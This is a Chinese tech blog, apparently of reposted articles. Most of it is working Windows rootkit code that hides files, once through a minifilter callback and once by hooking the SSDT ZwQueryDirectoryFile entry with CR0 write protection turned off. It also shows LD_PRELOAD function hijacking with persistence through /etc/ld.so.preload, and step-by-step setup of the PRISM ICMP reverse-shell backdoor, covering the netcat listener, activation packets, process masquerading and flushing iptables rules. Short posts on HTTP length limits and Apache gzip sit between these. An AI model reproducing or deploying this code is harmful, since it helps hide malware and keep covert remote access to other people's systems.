                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

注意以上代码使用的是宏开关,只是在编译时起作用,而非运行时。要想XP和win7都可以正常隐藏文件目录需要分别编译。

要想XP和win7同时起作用,需要去掉宏开关,然后把HideFilePostDirCtrl 改成一下代码

//实现目录隐藏,支持XP及以上版本 JiaSong[2010-11-1] 
FLT_POSTOP_CALLBACK_STATUS
HideFilePostDirCtrl (
    __inout PFLT_CALLBACK_DATA Data,
    __in PCFLT_RELATED_OBJECTS FltObjects,
    __in_opt PVOID CompletionContext,
    __in FLT_POST_OPERATION_FLAGS Flags 
)
{
    ULONG nextOffset = 0;
    int modified = 0;
    int removedAllEntries = 1;    
    PFILE_BOTH_DIR_INFORMATION currentFileInfo = 0;     
     PFILE_BOTH_DIR_INFORMATION nextFileInfo = 0;    
     PFILE_BOTH_DIR_INFORMATION previousFileInfo = 0;    
      
     PFILE_ID_BOTH_DIR_INFORMATION currentFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION nextFileIdInfo = 0;
    PFILE_ID_BOTH_DIR_INFORMATION previousFileIdInfo = 0;
     
    UNREFERENCED_PARAMETER( FltObjects );
    UNREFERENCED_PARAMETER( CompletionContext );    
    //不满足过滤条件的直接放过 
    if( FlagOn( Flags, FLTFL_POST_OPERATION_DRAINING ) || 
        Data->Iopb->MinorFunction != IRP_MN_QUERY_DIRECTORY ||
        Data->Iopb->Parameters.DirectoryControl.QueryDirectory.Length <= 0 ||
        !NT_SUCCESS(Data->IoStatus.Status))
    {
        return FLT_POSTOP_FINISHED_PROCESSING;
    }
    //XP及其以下版本,需要过滤 FileBothDirectoryInformation 类型的信息 
    if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass == FileBothDirectoryInformation)
    {
        //我们可以得到一个缓存区,这个缓存里面就保留着文件夹中所有的文件信息。
        //根据这个缓存的结构遍历处理,过滤掉要隐藏的文件名就能达到隐藏的目的了 
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {//缓存地址
            currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {//缓存地址
             currentFileInfo=(PFILE_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;       
        previousFileInfo = currentFileInfo;
             
        do
        {
            //Byte offset of the next FILE_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileInfo->NextEntryOffset;
            //后继结点指针 
            nextFileInfo = (PFILE_BOTH_DIR_INFORMATION)((PCHAR)(currentFileInfo) + nextOffset);            
            KdPrint(("1.FileName: %S, ShortName: %S\n",currentFileInfo->FileName,currentFileInfo->ShortName));
            if(_wcsnicmp(currentFileInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("1.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileInfo->NextEntryOffset = 0;
                }
                else
                {//更改前驱结点中指向下一结点的偏移量,略过要隐藏的文件的文件结点,达到隐藏目的 
                    previousFileInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileInfo - (PCHAR)previousFileInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;
                //前驱结点指针后移 
                previousFileInfo = currentFileInfo;
            }
            //当前指针后移          
            currentFileInfo = nextFileInfo;
        } while( nextOffset != 0 );
    }
    //vista或win7返回的结构不再是FileBothDirectoryInformation.而是FileIdBothDirectoryInformation
    else if(Data->Iopb->Parameters.DirectoryControl.QueryDirectory.FileInformationClass ==FileIdBothDirectoryInformation)
    {
        if (Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress != NULL)
        {
            currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)MmGetSystemAddressForMdlSafe( 
                         Data->Iopb->Parameters.DirectoryControl.QueryDirectory.MdlAddress,
                         NormalPagePriority );            
        }
        else
         {
             currentFileIdInfo=(PFILE_ID_BOTH_DIR_INFORMATION)Data->Iopb->Parameters.DirectoryControl.QueryDirectory.DirectoryBuffer;             
         }     
         
        if(currentFileIdInfo==NULL)return FLT_POSTOP_FINISHED_PROCESSING;
        previousFileIdInfo = currentFileIdInfo;
             
        do
        {
            //Byte offset of the next FILE_ID_BOTH_DIR_INFORMATION entry
            nextOffset = currentFileIdInfo->NextEntryOffset;            
               nextFileIdInfo = (PFILE_ID_BOTH_DIR_INFORMATION)((PCHAR)(currentFileIdInfo) + nextOffset);            
            KdPrint(("2.FileName: %S, ShortName: %S\n",currentFileIdInfo->FileName,currentFileIdInfo->ShortName));
            if(_wcsnicmp(currentFileIdInfo->FileName,g_prefixName,wcslen(g_prefixName))==0)
            {
                KdPrint(("2.g_prefixName: %S, currentFileInfo->FileName: %S\n",g_prefixName,currentFileIdInfo->FileName));
                if( nextOffset == 0 )
                {
                    previousFileIdInfo->NextEntryOffset = 0;
                }
                else
                {
                    previousFileIdInfo->NextEntryOffset = (ULONG)((PCHAR)currentFileIdInfo - (PCHAR)previousFileIdInfo) + nextOffset;
                }
                modified = 1;
            }
            else
            {
                removedAllEntries = 0;                
                previousFileIdInfo = currentFileIdInfo;                
            }
            currentFileIdInfo = nextFileIdInfo;
             
        } while( nextOffset != 0 );
    }
    if( modified )
    {
        if( removedAllEntries )
         {
              Data->IoStatus.Status = STATUS_NO_MORE_FILES;
          }
           else
           {
            FltSetCallbackDataDirty( Data );
        }
    }        
    return FLT_POSTOP_FINISHED_PROCESSING;
}

 

驱动实现RootKit文件隐藏

发布时间:April 26, 2015 // 分类:代码学习,VC/C/C++,转帖文章,windows // No Comments

以下代码已经经过测试可以正确编译运行。效果也正常实现,可以作为学习驱动的一个示例代码。

#include "ntddk.h"
#include <windef.h>
 
 
#pragma pack(1) //SSDT Table
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase; //Used only in checked build
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
 
 
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)] //数组下标从1开始不是从零开始
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);
VOID Unload(IN PDRIVER_OBJECT  DriverObject);
 
 
//取代的新函数
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
//API 声明
NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan );
 
 
typedef struct _FILE_DIRECTORY_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;
 
 
typedef struct _FILE_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    WCHAR FileName[1];
} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;
 
 
typedef struct _FILE_ID_FULL_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;
 
 
typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;
 
 
typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;
 
 
typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;
 
 
//-----------------------------------------------------------------------------------------------------------
//源地址
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);
  
  
//#include "Hidefile.h"
NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
DriverObject->DriverUnload = Unload;
KdPrint(("Driver Entry Called!/n"));
KdPrint(("OldAddress原始函数地址值:0x%X/t新函数地址值NewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));
 
__asm //去掉页面保护
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
 
OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);//将旧函数地址值保存备份
DbgPrint("改写函数地址前\n");
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;//将旧函数地址值改变为我们的函数地址入口值
DbgPrint("改写函数地址后\n");
  
__asm//恢复页面保护 
{  
mov    eax, cr0 
or     eax, 10000h 
mov    cr0, eax 
sti 
} 
 
return ntStatus;
}
 
 
VOID Unload(IN PDRIVER_OBJECT  DriverObject)
{
KdPrint(("Driver Unload Called!/n"));
__asm //去掉页面保护
{
cli
mov eax,cr0
and eax,not 10000h
mov cr0,eax
}
 
(ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;
KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));
  
 __asm//恢复页面保护 
{  
mov    eax, cr0 
or     eax, 10000h 
mov    cr0, eax 
sti 
} 
return;
}
 
 
DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
DWORD result = 0;
switch(FileInfo){
case FileDirectoryInformation:
result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;
break;
case FileFullDirectoryInformation:
result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileIdFullDirectoryInformation:
result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileBothDirectoryInformation:
 result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
 break;
case FileIdBothDirectoryInformation:
result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;
break;
case FileNamesInformation:
 result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;
 break;
}
return result;
}
 
 
void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)
{
 switch(FileInfo){
 case FileDirectoryInformation:
((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileFullDirectoryInformation:
((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileIdFullDirectoryInformation:
 ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileBothDirectoryInformation:
((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileIdBothDirectoryInformation:
((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 case FileNamesInformation:
 ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;
break;
 }
}
 
 
 
 
PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 PVOID result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];
break;
 case FileFullDirectoryInformation:
 result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileIdFullDirectoryInformation:
 result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileBothDirectoryInformation:
 result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileIdBothDirectoryInformation:
 result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];
 break;
 case FileNamesInformation:
 result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];
 break;
 }
 return result;
}
 
 
 
 
 
 
ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)
{
 ULONG result = 0;
 switch(FileInfo){
 case FileDirectoryInformation:
 result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;
 break;
 case FileFullDirectoryInformation:
 result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileIdFullDirectoryInformation:
 result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileBothDirectoryInformation:
 result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileIdBothDirectoryInformation:
 result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;
 break;
 case FileNamesInformation:
 result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;
 break;
 }
 return result;
}
 
 
NTSTATUS NTAPI NewZwQueryDirectoryFile(
  IN HANDLE               FileHandle,
  IN HANDLE               Event OPTIONAL,
  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,
  IN PVOID                ApcContext OPTIONAL,
  OUT PIO_STATUS_BLOCK    IoStatusBlock,
  OUT PVOID               FileInformation,
  IN ULONG                Length,
  IN FILE_INFORMATION_CLASS FileInformationClass,
  IN BOOLEAN              ReturnSingleEntry,
  IN PUNICODE_STRING      FileMask OPTIONAL,
  IN BOOLEAN              RestartScan )
{
//首先,调用原始函数执行获取打开文件或目录得到信息
NTSTATUS ntStatus = OldZwQueryDirectoryFile(
 FileHandle,
 Event,
 ApcRoutine,
 ApcContext,
 IoStatusBlock,
 FileInformation,
 Length,
 FileInformationClass,
 ReturnSingleEntry,
 FileMask,
 RestartScan);
DbgPrint("进入自己定义的函数内,并成功执行原函数代码\n");
 
 
//这里判定函数是否执行成功,而且获取的是否是文件或目录
if(NT_SUCCESS(ntStatus) && 
 FileInformationClass == FileDirectoryInformation ||
 FileInformationClass == FileFullDirectoryInformation ||
 FileInformationClass == FileIdFullDirectoryInformation ||
 FileInformationClass == FileBothDirectoryInformation ||
 FileInformationClass == FileIdBothDirectoryInformation ||
 FileInformationClass == FileNamesInformation 
 )
{
 PVOID p = FileInformation;
 PVOID pLast = NULL;
 DWORD pLastOne = 0;
 KdPrint(("<--------/n"));
 do{
  pLastOne = GetNextEntryOffset(p,FileInformationClass);
  KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));
   
  if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"RootkitFile", 16 ) == 16 )//RootkitFile改为自己想要隐藏的文件名和目录名
  {
KdPrint(("[-]Hide...../n"));
KdPrint(("[-]现在在目录下看不到RootkitFile命名的目录和文件了/n"));
if(pLastOne == 0)
{
if (p == FileInformation)
ntStatus = STATUS_NO_MORE_FILES;
else
SetNextEntryOffset(pLast,FileInformationClass, 0);
break;
}
else
{
int iPos = ((ULONG)p) - (ULONG)FileInformation;
int iLeft = (DWORD)Length - iPos - pLastOne;
RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);
KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",
 iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));
continue;
}
  }
  pLast = p;
  p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));
 }while (pLastOne != 0);
 KdPrint(("-------->/n"));
}
return ntStatus;
}

 

HTTP协议对URI长度,POST数据长度及COOKIE长度限制说明

发布时间:April 26, 2015 // 分类:工作日志,转帖文章 // No Comments

1. URL长度限制

 

在Http1.1协议中并没有提出针对URL的长度进行限制,RFC协议里面是这样描述的,HTTP协议并不对URI的长度做任何的限制,服务器端必须能够处理任何它们所提供服务多能接受的URI,并且能够处理无限长度的URI,如果服务器不能处理过长的URI,那么应该返回414状态码。

 

虽然Http协议规定了,但是Web服务器浏览器对URI都有自己的长度限制。

 

服务器的限制:我接触的最多的服务器类型就是Nginx和Tomcat,对于url的长度限制,它们都是通过控制http请求头的长度来进行限制的,nginx的配置参数为large_client_header_buffers,tomcat的请求配置参数为maxHttpHeaderSize,都是可以自己去进行设置。

 

浏览器的限制:每种浏览器也会对url的长度有所限制,下面是几种常见浏览器的url长度限制:(单位:字符)

 

  • IE : 2803

  • Firefox:65536

  • Chrome:8182

  • Safari:80000

  • Opera:190000

 

对于get请求,在url的长度限制范围之内,请求的参数个数没有限制。

 

2. Post数据的长度限制

 

Post数据的长度限制与url长度限制类似,也是在Http协议中没有规定长度限制,长度限制可以在服务器端配置最大http请求头长度的方式来实现。

 

3. Cookie的长度限制

 

Cookie的长度限制分这么几个方面来总结。

 

(1) 浏览器所允许的每个域下的最大cookie数目,没有去自己测试,从网上找到的资料大概是这么个情况

 

  • IE :原先为20个,后来升级为50个

  • Firefox: 50个

  • Opera:30个

  • Chrome:180个

  • Safari:无限制

 

当Cookie数超过限制数时浏览器的行为:IE和Opera会采用LRU算法将老的不常使用的Cookie清除掉,Firefox的行为是随机踢出某些Cookie的值。当然无论怎样的策略,还是尽量不要让Cookie数目超过浏览器所允许的范围。

 

(2) 浏览器所允许的每个Cookie的最大长度

 

  • Firefox和Safari:4079字节

  • Opera:4096字节

  • IE:4095字节

 

(3) 服务器中Http请求头长度的限制。Cookie会被附在每次http请求头中传递给服务器,因此还会受到服务器请求头长度的影响。

apache2.4.4启用deflate与gzip压缩

发布时间:April 26, 2015 // 分类:工作日志 // No Comments

今天在看《高性能php应用开发》这本书,说道如何启用mod_deflate:

启用如下模块:

LoadModule deflate_module modules/mod_deflate.so

然后加入指令:

AddOutputFilterByType DEFLATE text/html text/plain text/css text/xml text/javascript

即可。

但是发现老是出错,

 Invalid command 'AddOutputFilterByType', perhaps misspelled or defined by a module not included in the server configuration 

去百度查看下,未果,之后发现官方有段话:

Invalid command 'AddOutputFilterByType', perhaps misspelled       or defined by a module not included in the server configuration        -AddOutputFilterByType       has moved from the core to mod_filter, which must be loaded.

原来,除了启用deflate之外,还要启用mod_filter,找到这句:

LoadModule filter_module modules/mod_filter.so

去除前面的分号,终于好了!

apache2.4开启gzip压缩

LoadModule filter_module modules/mod_filter.so
LoadModule deflate_module modules/mod_deflate.so
<ifmodule mod_deflate.c> 
     DeflateCompressionLevel 9 
     AddOutputFilterByType   DEFLATE text/html text/plain text/xml application/x-httpd-php 
     AddOutputFilter         DEFLATE  html  htm  xml  php  css  js 
</ifmodule>

 

LD_PRELOAD

发布时间:April 25, 2015 // 分类:工作日志,代码学习,linux,转帖文章 // No Comments

LD_PRELOAD:
在Unix操作系统的动态链接库的世界中,LD_PRELOAD就是这样一个环境变量
用以指定预先装载的一些共享库或目标文件,且无论程序是否依赖这些共享库或者文件,LD_PRELOAD指定的这些文件都会被装载
其优先级比LD_LIBRARY_PATH自定义的进程的共享库查找路径的执行还要早
全局符号介入
指在不同的共享库(对象)中存在同名符号时,一个共享对象中的全局符号被另一个共享对象的同名全局符号覆盖
因为LD_PRELOAD指定的共享库或者目标文件的装载顺序十分靠前,几乎是程序运行最先装载的,所以其中的全局符号如果和后面的库中的全局符号重名的话,就会覆盖后面装载的共享库或者目标文件中的全局符号。
因为装载顺序和全局符号介入的原理
它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。
这个功能主要就是用来有选择性的载入Unix操作系统不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。

 

 

其中,在我们自己的函数中主要完成量方面的工作:
     1)完成在调用此函数时我们想要做的工作。
     2)以传递进来的参数不加改动地调用原来动态链接库中的函数。
操作可行性:对于Android系统,将预先编译好的.so文件复制到Android系统/data中,
设置所要要追踪的游戏进程的LD_PRELOAD环境变量值为中间.so文件路径即可。
/etc/ld.so.preload
是系统的配置文件中的一个,其作用与LD_PRELOAD相同。

Linux 允许一个 动态链接库 (linux 上标准的叫法是 共享库)能被先加载到目标进程当中 提供了这个功能 就是  LD preload  通过设置 LD_PRELOAD 变量的值为一个共享库的地址,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。 然后启动的程序就会先加载这个dll  这样就运行我们来 hack 目标进程

     先看看目标进程当中那些函数还没有定义

# nm -u a.out
         w _Jv_RegisterClasses
         w __gmon_start__
         U __libc_start_main@@GLIBC_2.0
         U strlen@@GLIBC_2.0
         U write@@GLIBC_2.0

没有定义的函数  会在使用到的时候解析到正确的地址上  比如上面的 weite 函数 ,进程会加载 libc 这个共享库并得到正确的 write 函数的地址 但是我们使用LD_PRELOAD 指定的so 比 libc 还早加载 那么程序就会把 write 函数的地址解析到我们的 so 里面 ,如果我们的 so 也导出同样名字的函数  相当于劫持了。

下面写个程序看看

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
 
char *msg = "I am sincoder\n";
static ssize_t (*pf_org_write)(int , const void *, size_t ) = NULL;
 
static void init(void)
{
    pf_org_write = dlsym(RTLD_NEXT, "write");
    printf("get write addr : %x \n", (unsigned int)pf_org_write );
}
 
ssize_t write(int fd, const void *buf, size_t count)
{
    if (NULL == pf_org_write)
        init();
    if (STDOUT_FILENO == fd || STDERR_FILENO == fd)
    {
        return pf_org_write(STDOUT_FILENO, msg, strlen(msg));
    }
    return pf_org_write(fd, buf, count);
}

其中要注意的就是 得到正确的 系统调用 地址的代码 dlsym(RTLD_NEXT, "write");

指定 RTLD_NEXT 是为了 让加载器不把这个函数解析到我们自己下面定义的 write 而是 解析到下一个 so 中的函数 下一个肯定是 libc 了。。。于是就获得了正确的地址 也就是 write 实际的地址。

测试程序:

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <dlfcn.h>
 
char *msg = "hello world";
 
int main()
{
    return write(STDOUT_FILENO,msg,strlen(msg));
}

编译:

gcc test.c -fpic -ldl -shared -o test.so

gcc write.c

然后  export LD_PRELOAD=/root/test.so

执行下程序看看

# ./a.out 
get write addr : 477ab7f0 
I am sincoder

可见顺利的替换了 write

还可以在 /etc/ld.so.preload    中写入 so 地址 这样系统启动的时候就生效 而且对所有的用户

 

使用限制
这种方式虽然很酷,但却有一些限制。比如对于静态编译的程序是无效的。因为静态编译的程序不需要连接动态库的面的函数。而且,假如文件的SUID或SGID位被置1,加载的时候会忽略LD_PRELOAD(这是ld的开发者出于安全考虑做的)。

相关的应用--Jynx-Kit

 

Linux下的ICMP反弹后门:PRISM

发布时间:April 23, 2015 // 分类:工作日志,linux,代码学习,VC/C/C++,转帖文章,python // No Comments

  搜索的时候无意中看见的这款基于ping的ICMP后门。于是到作者的github上看看,居然是阴文的,为了过级,只能强忍着看了,学生狗伤不起。还好比较简单易懂,正如简介说的一样:“PRISM is an user space stealth reverse shell backdoor, written in pure C.”

  项目地址:https://github.com/andreafabrizi/prism

  PRISM只有两个主文件,配置简单,能在LinuxSolaris、AIXBSD/Mac、Android等多个系统上运行,支持两种工作模式:ICMP 和 STATIC 模式。

ICMP模式

  使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息ICMP数据包,通过私有密钥可以阻止第三方访问。后门进程接受ping包激活(总不会连ping包都不让过了靶>_<)

  首先,在攻击者的机器上运行netcat来等待后门进入的连接:

~$ nc -l -p 9999

   再使用sendPacket.py脚本(或其他数据包生成器,如nemesis-1.4)发送激活包到后门主机,以使后门主机反弹连接到主控机的指定端口:

./sendPacket.py 10.0.0.5 linger 10.0.0.10 9999
//10.0.0.5 远程主机(靶机)的IP地址
//linger 连接密码
//10.0.0.10 主控机IP地址
//9999 主控机连接端口

 STATIC模式

  使用这种模式,后门主机将会主动尝试连接到指定端口的的IP地址上,所以只要在指定IP上监听指定端口等待连接就可以了。但是,缺点很明显,很任意暴露攻击者的IP地址,而且使用不够灵活。

 $ nc -l -p [PORT] 

   当然,作为一款迷你级的后门木马。它还是有很多优点的:

  两种工作模式、运行时进程重命名、不会监听端口、自动清除iptables规则表、采用C语言编写(代码仅有200来行),所以不需要任何库支持。

配置prism后门

  编辑prism.c文件,修改宏定义部分:

 40 #ifdef STATIC
 41 # define REVERSE_HOST     "10.0.0.1"  //连接到主控机的IP地址
 42 # define REVERSE_PORT     19832   //连接到主控机的端口号
 43 # define RESPAWN_DELAY    15  //后门机尝试连接的空闲时间间隔
 44 #else
 45 # define ICMP_PACKET_SIZE 1024  //ICMP数据包的大小
 46 # define ICMP_KEY         "linger"  //连接的密码
 47 #endif
 48 
 49 #define VERSION          "0.5"   //版本信息
 50 #define MOTD             "PRISM v"VERSION" started\n\n# "  //后门机连接时显示的消息
 51 #define SHELL            "/bin/sh"  //shell执行的位置
 52 #define PROCESS_NAME     "udevd"   //创建的进程名称

 交叉编译prism后门

gcc <..OPTIONS..> -Wall -s -o prism prism.c

 可用的参数<OPTION>选项:

-DDETACH   //后台运行
-DSTATIC   //只用STATIC模式(默认是ICMP模式)
-DNORENAME   //不再重命名进程名
-DIPTABLES   //清除所有iptables规则表项

